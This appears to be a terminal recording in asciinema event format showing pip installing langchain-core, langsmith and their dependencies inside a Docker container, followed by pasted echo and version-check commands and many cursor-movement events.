[152.385116, "o", "Downloading jsonpointer-3.1.1-py3-none-any.whl (7.7 kB)\r\n"]
[152.465429, "o", "Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (133 kB)\r\n"]
[152.466846, "o", "\u001b[?25l"]
[152.470831, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/133.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.498414, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m133.6/133.6 kB\u001b[0m \u001b[31m5.0 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[152.530774, "o", "Downloading requests-2.33.1-py3-none-any.whl (64 kB)\r\n\u001b[?25l"]
[152.533642, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/64.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.559869, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m64.9/64.9 kB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[152.597657, "o", "Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl (54 kB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/54.5 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.630725, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m54.5/54.5 kB\u001b[0m \u001b[31m2.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[152.688428, "o", "Downloading typing_inspection-0.4.2-py3-none-any.whl (14 kB)\r\n"]
[152.75073, "o", "Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (193 kB)\r\n\u001b[?25l"]
[152.753251, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/193.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.791328, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m92.2/193.9 kB\u001b[0m \u001b[31m9.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[152.816713, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m193.9/193.9 kB\u001b[0m \u001b[31m3.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[152.856628, "o", "Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (5.5 MB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/5.5 MB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.906471, "o", "\r\u001b[2K   \u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.1/5.5 MB\u001b[0m \u001b[31m8.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[152.937988, "o", "\r\u001b[2K   \u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.1/5.5 MB\u001b[0m \u001b[31m8.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[152.987951, "o", "\r\u001b[2K   \u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.1/5.5 MB\u001b[0m \u001b[31m8.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.019997, "o", "\r\u001b[2K   \u001b[91m━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.3/5.5 MB\u001b[0m \u001b[31m2.1 MB/s\u001b[0m eta \u001b[36m0:00:03\u001b[0m"]
[153.057601, "o", "\r\u001b[2K   \u001b[91m━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.4/5.5 MB\u001b[0m \u001b[31m1.9 MB/s\u001b[0m eta \u001b[36m0:00:03\u001b[0m"]
[153.091773, "o", "\r\u001b[2K   \u001b[91m━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.5/5.5 MB\u001b[0m \u001b[31m2.2 MB/s\u001b[0m eta \u001b[36m0:00:03\u001b[0m"]
[153.128565, "o", "\r\u001b[2K   \u001b[91m━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.6/5.5 MB\u001b[0m \u001b[31m2.3 MB/s\u001b[0m eta \u001b[36m0:00:03\u001b[0m"]
[153.168652, "o", "\r\u001b[2K   \u001b[91m━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.7/5.5 MB\u001b[0m \u001b[31m2.4 MB/s\u001b[0m eta \u001b[36m0:00:03\u001b[0m"]
[153.205218, "o", "\r\u001b[2K   \u001b[91m━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.8/5.5 MB\u001b[0m \u001b[31m2.5 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.242443, "o", "\r\u001b[2K   \u001b[91m━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.0/5.5 MB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.278453, "o", "\r\u001b[2K   \u001b[91m━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.1/5.5 MB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.325209, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.2/5.5 MB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.385021, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.3/5.5 MB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.417785, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.5/5.5 MB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.452967, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.7/5.5 MB\u001b[0m \u001b[31m2.9 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.487066, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.9/5.5 MB\u001b[0m \u001b[31m3.0 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.532849, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.0/5.5 MB\u001b[0m \u001b[31m3.1 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.567915, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.2/5.5 MB\u001b[0m \u001b[31m3.2 MB/s\u001b[0m eta \u001b[36m0:00:02\u001b[0m"]
[153.614132, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.3/5.5 MB\u001b[0m \u001b[31m3.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.641833, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.5/5.5 MB\u001b[0m \u001b[31m3.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.677713, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.6/5.5 MB\u001b[0m \u001b[31m3.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.712417, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.8/5.5 MB\u001b[0m \u001b[31m3.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.748838, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.9/5.5 MB\u001b[0m \u001b[31m3.4 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.785925, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m3.0/5.5 MB\u001b[0m \u001b[31m3.4 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.821666, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m3.1/5.5 MB\u001b[0m \u001b[31m3.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.858172, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m3.3/5.5 MB\u001b[0m \u001b[31m3.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.896742, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━\u001b[0m \u001b[32m3.5/5.5 MB\u001b[0m \u001b[31m3.4 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.931135, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━\u001b[0m \u001b[32m3.7/5.5 MB\u001b[0m \u001b[31m3.5 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[153.971861, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━\u001b[0m \u001b[32m3.9/5.5 MB\u001b[0m \u001b[31m3.5 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.000729, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━\u001b[0m \u001b[32m4.0/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.046333, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━\u001b[0m \u001b[32m4.0/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.105904, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━\u001b[0m \u001b[32m4.2/5.5 MB\u001b[0m \u001b[31m3.5 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.144954, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━\u001b[0m \u001b[32m4.4/5.5 MB\u001b[0m \u001b[31m3.5 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.178676, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━\u001b[0m \u001b[32m4.6/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.216759, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━\u001b[0m \u001b[32m4.8/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.251705, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━\u001b[0m \u001b[32m4.9/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.297306, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━\u001b[0m \u001b[32m5.1/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.340814, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━\u001b[0m \u001b[32m5.3/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.374961, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m5.5/5.5 MB\u001b[0m \u001b[31m3.7 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.405109, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m5.5/5.5 MB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[154.443881, "o", "Downloading certifi-2026.2.25-py3-none-any.whl (153 kB)\r\n"]
[154.446955, "o", "\u001b[?25l"]
[154.455373, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/153.7 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[154.477143, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m153.7/153.7 kB\u001b[0m \u001b[31m6.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[154.509489, "o", "Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (216 kB)\r\n\u001b[?25l"]
[154.511493, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/216.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[154.547578, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m215.0/216.6 kB\u001b[0m \u001b[31m6.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[154.563968, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m216.6/216.6 kB\u001b[0m \u001b[31m4.1 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m"]
[154.564886, "o", "\r\n\u001b[?25h"]
[154.594451, "o", "Downloading idna-3.11-py3-none-any.whl (71 kB)\r\n"]
[154.596653, "o", "\u001b[?25l"]
[154.601664, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/71.0 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[154.628059, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m71.0/71.0 kB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[154.66802, "o", "Downloading urllib3-2.6.3-py3-none-any.whl (131 kB)\r\n\u001b[?25l"]
[154.673603, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/131.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[154.697801, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m131.6/131.6 kB\u001b[0m \u001b[31m4.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[154.738717, "o", "Downloading anyio-4.13.0-py3-none-any.whl (114 kB)\r\n"]
[154.741296, "o", "\u001b[?25l"]
[154.745901, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/114.4 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[154.766244, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m114.4/114.4 kB\u001b[0m \u001b[31m7.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[154.794236, "o", "Downloading h11-0.16.0-py3-none-any.whl (37 kB)\r\n"]
[154.955091, "o", "Installing collected packages: zstandard, xxhash, uuid-utils, urllib3, typing-extensions, tenacity, pyyaml, packaging, orjson, jsonpointer, idna, h11, charset_normalizer, certifi, annotated-types, typing-inspection, requests, pydantic-core, jsonpatch, httpcore, anyio, requests-toolbelt, pydantic, httpx, langsmith, langchain-core"]
[154.959754, "o", "\r\n"]
[157.777345, "o", "Successfully installed annotated-types-0.7.0 anyio-4.13.0 certifi-2026.2.25 charset_normalizer-3.4.7 h11-0.16.0 httpcore-1.0.9 httpx-0.28.1 idna-3.11 jsonpatch-1.33 jsonpointer-3.1.1 langchain-core-1.2.26 langsmith-0.7.25 orjson-3.11.8 packaging-26.0 pydantic-2.12.5 pydantic-core-2.41.5 pyyaml-6.0.3 requests-2.33.1 requests-toolbelt-1.0.0 tenacity-9.1.4 typing-extensions-4.15.0 typing-inspection-0.4.2 urllib3-2.6.3 uuid-utils-0.14.1 xxhash-3.6.0 zstandard-0.25.0\r\n"]
[157.779362, "o", "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\r\n\u001b[0m"]
[158.477732, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[170.26302, "o", "\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"           Inside Docker Container - LangChain v1.2.25\"\u001b[27m\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# First, let's verify our environment\"\u001b[27m\r\n\r\u001b[7mpython3 --version\u001b[27m\r\n\r\u001b[7mpython3 -c \"import langchain_core; print(f'LangChain-core version: {langchain_core.__version__}')\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7msleep 2\u001b[27m\r\n\r"]
[171.198245, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@9b2f0aa2ab26:/# echo \"====================================================================================\"\r\n\recho \"           Inside Docker Container - LangChain v1.2.25\"\r\n\recho \"====================================================================================\""]
[171.201519, "o", "\r\n\recho \"\"\r\n\recho \"# First, let's verify our environment\"\r\n\rpython3 --version\r\n\rpython3 -c \"import langchain_core; print(f'LangChain-core version: {langchain_core.__version__}')\"\r\n\recho \"\"\r\n\rsleep 2"]
[171.666813, "o", "\b"]
[171.697771, "o", "\b"]
[171.73125, "o", "\b"]
[171.762945, "o", "\b"]
[171.80823, "o", "\b"]
[171.830426, "o", "\b"]
[171.882768, "o", "\r"]
[171.895611, "o", "\u001b[Aecho \"\""]
[171.929296, "o", "\b"]
[171.963329, "o", "\b"]
[171.993979, "o", "\b"]
[172.034339, "o", "\b"]
[172.069141, "o", "\b"]
[172.101635, "o", "\b"]
[172.129555, "o", "\r"]
[172.168542, "o", "\u001b[Apython3 -c \"import langchain_core; print(f'LangChain-core version: {langchain_core.__version__}')\""]
[172.198871, "o", "\b"]
[172.245247, "o", "\b"]
[172.26117, "o", "\b"]
[172.294745, "o", "\b"]
[172.326371, "o", "\b"]
[172.357878, "o", "\b"]
[172.38988, "o", "\b"]
[172.448633, "o", "\b"]
[172.462952, "o", "\b"]
[172.492216, "o", "\b"]
[172.525064, "o", "\b"]
[172.557399, "o", "\b"]
[172.589158, "o", "\b"]
[172.62501, "o", "\b"]
[172.658521, "o", "\b"]
[172.688021, "o", "\b"]
[172.722147, "o", "\b"]
[172.771318, "o", "\b"]
[172.790688, "o", "\b"]
[172.820353, "o", "\b"]
[172.85264, "o", "\b"]
[172.888026, "o", "\b"]
[172.917522, "o", "\b"]
[172.95322, "o", "\b"]
[173.023884, "o", "\b"]
[173.027327, "o", "\b"]
[173.051808, "o", "\b"]
[173.085018, "o", "\b"]
[173.114703, "o", "\b"]
[173.1475, "o", "\b"]
[173.206776, "o", "\b"]
[173.221368, "o", "\b"]
[173.250088, "o", "\b"]
[173.28193, "o", "\b"]
[173.316747, "o", "\b"]
[173.35163, "o", "\b"]
[173.382201, "o", "\b"]
[173.416682, "o", "\b"]
[173.447073, "o", "\b"]
[173.480951, "o", "\b"]
[173.53227, "o", "\b"]
[173.547704, "o", "\b"]
[173.57923, "o", "\b"]
[173.613816, "o", "\b"]
[173.645199, "o", "\b"]
[173.696592, "o", "\b"]
[173.712637, "o", "\b"]
[173.742369, "o", "\b"]
[173.777091, "o", "\b"]
[173.815417, "o", "\b"]
[173.844781, "o", "\b"]
[173.877094, "o", "\b"]
[173.919361, "o", "\b"]
[173.942577, "o", "\b"]
[173.975279, "o", "\b"]
[174.009593, "o", "\b"]
[174.042869, "o", "\b"]
[174.082867, "o", "\b"]
[174.12123, "o", "\b"]
[174.154392, "o", "\b"]
[174.173891, "o", "\b"]
[174.208459, "o", "\b"]
[174.240695, "o", "\b"]
[174.272017, "o", "\b"]
[174.320926, "o", "\b"]
[174.337686, "o", "\b"]
[174.376045, "o", "\b"]
[174.406654, "o", "\b"]
[174.4379, "o", "\b"]
[174.47288, "o", "\b"]
[174.522682, "o", "\b"]
[174.537691, "o", "\b"]
[174.57509, "o", "\b"]
[174.602697, "o", "\b"]
[174.634361, "o", "\b"]
[174.669142, "o", "\b"]
[174.700995, "o", "\b"]
[174.73618, "o", "\b"]
[174.771975, "o", "\b"]
[174.823285, "o", "\b"]
[174.836032, "o", "\b"]
[174.867211, "o", "\b"]
[174.903367, "o", "\b"]
[174.933975, "o", "\b"]
[174.967606, "o", "\b"]
[175.010156, "o", "\b"]
[175.031803, "o", "\b"]
[175.064899, "o", "\b"]
[175.09876, "o", "\b"]
[175.132416, "o", "\b"]
[175.178275, "o", "\b"]
[175.198762, "o", "\b"]
[175.231582, "o", "\b"]
[175.263782, "o", "\b"]
[175.296936, "o", "\b"]
[175.335324, "o", "\b"]
[175.365396, "o", "\b"]
[175.404577, "o", "\r"]
[175.431979, "o", "\u001b[Apython3 --version"]
[175.460786, "o", "\b"]
[175.49512, "o", "\b"]
[175.526866, "o", "\b"]
[175.557859, "o", "\b"]
[175.595501, "o", "\b"]
[175.628583, "o", "\b"]
[175.661538, "o", "\b"]
[175.693264, "o", "\b"]
[175.72373, "o", "\b"]
[175.756756, "o", "\b"]
[175.791112, "o", "\b"]
[175.822879, "o", "\b"]
[175.854559, "o", "\b"]
[175.893226, "o", "\b"]
[175.923694, "o", "\b"]
[175.9557, "o", "\b"]
[175.989757, "o", "\r"]
[176.021069, "o", "\u001b[Aecho \"# First, let's verify our environment\""]
[176.055436, "o", "\b"]
[176.107359, "o", "\b"]
[176.129275, "o", "\b"]
[176.157012, "o", "\b"]
[176.187851, "o", "\b"]
[176.224484, "o", "\b"]
[176.250598, "o", "\b"]
[176.287819, "o", "\b"]
[176.328226, "o", "\b"]
[176.36324, "o", "\b"]
[176.384168, "o", "\b"]
[176.416898, "o", "\b"]
[176.451653, "o", "\b"]
[176.484107, "o", "\b"]
[176.523276, "o", "\b"]
[176.567308, "o", "\b"]
[176.583681, "o", "\b"]
[176.618531, "o", "\b"]
[176.651766, "o", "\b"]
[176.684688, "o", "\b"]
[176.719238, "o", "\b"]
[176.745837, "o", "\b"]
[176.809236, "o", "\b"]
[176.816845, "o", "\b"]
[176.850796, "o", "\b"]
[176.881535, "o", "\b"]
[176.914546, "o", "\b"]
[176.958855, "o", "\b"]
[176.980366, "o", "\b"]
[177.054122, "o", "\b"]
[177.05904, "o", "\b"]
[177.078221, "o", "\b"]
[177.116151, "o", "\b"]
[177.147, "o", "\b"]
[177.18435, "o", "\b"]
[177.211693, "o", "\b"]
[177.249307, "o", "\b"]
[177.281694, "o", "\b"]
[177.307896, "o", "\b"]
[177.343751, "o", "\b"]
[177.37318, "o", "\b"]
[177.411816, "o", "\b"]
[177.441325, "o", "\b"]
[177.474743, "o", "\r"]
[177.527312, "o", "\u001b[Aecho \"\""]
[177.538568, "o", "\b"]
[177.573314, "o", "\b"]
[177.604929, "o", "\b"]
[177.639172, "o", "\b"]
[177.669731, "o", "\b"]
[177.730489, "o", "\b"]
[177.74657, "o", "\r"]
[177.778745, "o", "\u001b[Aecho \"====================================================================================\""]
[177.803254, "o", "\b"]
[177.837196, "o", "\b"]
[177.871732, "o", "\b"]
[177.900414, "o", "\b"]
[177.943293, "o", "\b"]
[177.978823, "o", "\b"]
